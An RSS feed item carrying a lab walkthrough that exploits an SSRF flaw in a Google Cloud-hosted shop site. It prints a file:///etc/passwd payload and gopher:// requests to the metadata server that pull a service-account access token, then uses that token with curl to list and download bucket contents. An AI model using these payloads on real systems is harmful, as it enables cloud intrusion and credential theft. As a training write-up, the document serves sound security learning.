      <category>offsec</category>
    </item>
    <item>
      <title>PwnedLabs - Exploit SSRF with Gopher for GCP Initial Access (Google Cloud Pentesting)</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Mon, 02 Mar 2026 01:33:15 +0000</pubDate>
      <link>https://dev.to/davidonlinearchive/pwnedlabs-exploit-ssrf-with-gopher-for-gcp-initial-access-cloud-pentesting-1h6a</link>
      <guid>https://dev.to/davidonlinearchive/pwnedlabs-exploit-ssrf-with-gopher-for-gcp-initial-access-cloud-pentesting-1h6a</guid>
      <description>&lt;h3&gt;
  
  
  Exploit SSRF with Gopher for GCP Initial Access
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe7xrgka5t52pv8u9luui.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe7xrgka5t52pv8u9luui.png" alt="Lab description" width="800" height="468"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Target IP Address:&lt;/strong&gt; &lt;code&gt;35.226.245.121&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  ENUMERATION
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnwlgu1zht7oihr73gmj7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnwlgu1zht7oihr73gmj7.png" alt="Portscan" width="800" height="338"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From the initial port scan, ports &lt;strong&gt;22 (SSH)&lt;/strong&gt; and &lt;strong&gt;80 (HTTP)&lt;/strong&gt; are open, while ports &lt;strong&gt;1433, 3389, and 5432&lt;/strong&gt; are closed.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6sxi8sd2w6vowbz0c5lh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6sxi8sd2w6vowbz0c5lh.png" alt="Landing page" width="799" height="423"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw9t3zpro4u875m2q2xtw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw9t3zpro4u875m2q2xtw.png" alt="profile page" width="800" height="398"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After viewing the landing page and moving onto the shop page, inspecting the elements reveals the site uses a &lt;a href="https://docs.cloud.google.com/storage/docs/buckets" rel="noopener noreferrer"&gt;Google Cloud Storage bucket&lt;/a&gt;. On the &lt;code&gt;profile.php&lt;/code&gt; page, we can test for a &lt;strong&gt;Server-Side Request Forgery (SSRF)&lt;/strong&gt; vulnerability.&lt;/p&gt;




&lt;h3&gt;
  
  
  EXPLOITATION
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy3s5cppi901f4t7b7ulq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy3s5cppi901f4t7b7ulq.png" alt="ssrf positive" width="799" height="322"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using the &lt;code&gt;file:///etc/passwd&lt;/code&gt; payload, we are able to view the local &lt;code&gt;/etc/passwd&lt;/code&gt; file, proving that the application is vulnerable to SSRF. &lt;/p&gt;

&lt;p&gt;To pivot into the cloud environment, we will gather information about the VM metadata. First, we query for the associated service account using the following Gopher payload:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwo82co1h61yazmdakn46.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwo82co1h61yazmdakn46.png" alt="service account" width="800" height="244"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The query reveals the service account name is:&lt;br&gt;&lt;br&gt;
&lt;code&gt;bucketviewer@gr-proj-1.iam.gserviceaccount.com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Next, we use another Gopher payload to retrieve the service account's access token:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/bucketviewer@gr-proj-1.iam.gserviceaccount.com/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5dzp56ckep2noovm02i4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5dzp56ckep2noovm02i4.png" alt="access token" width="799" height="250"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To use the credentials, we export the token as a variable:&lt;br&gt;&lt;br&gt;
&lt;code&gt;export ACCESS_TOKEN=&amp;lt;token&amp;gt;&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  DATA EXFILTRATION
&lt;/h3&gt;

&lt;p&gt;Now that we have the credentials, we can query the bucket using the Google Storage API:&lt;br&gt;&lt;br&gt;
&lt;code&gt;curl "https://www.googleapis.com/storage/v1/b/gigantic-retail/o" -H "Authorization: Bearer $ACCESS_TOKEN"&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj4ft1scyhkcj99rhnp2f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj4ft1scyhkcj99rhnp2f.png" alt="authorized query" width="800" height="472"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The result reveals a path to a flag. Finally, we can download the flag file via &lt;code&gt;curl&lt;/code&gt; using the &lt;code&gt;-o&lt;/code&gt; flag:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fod8y4xg6n6qnflh3xaav.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fod8y4xg6n6qnflh3xaav.png" alt="Flag" width="797" height="96"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>googlecloud</category>
      <category>pentesting</category>
      <category>infrastructure</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
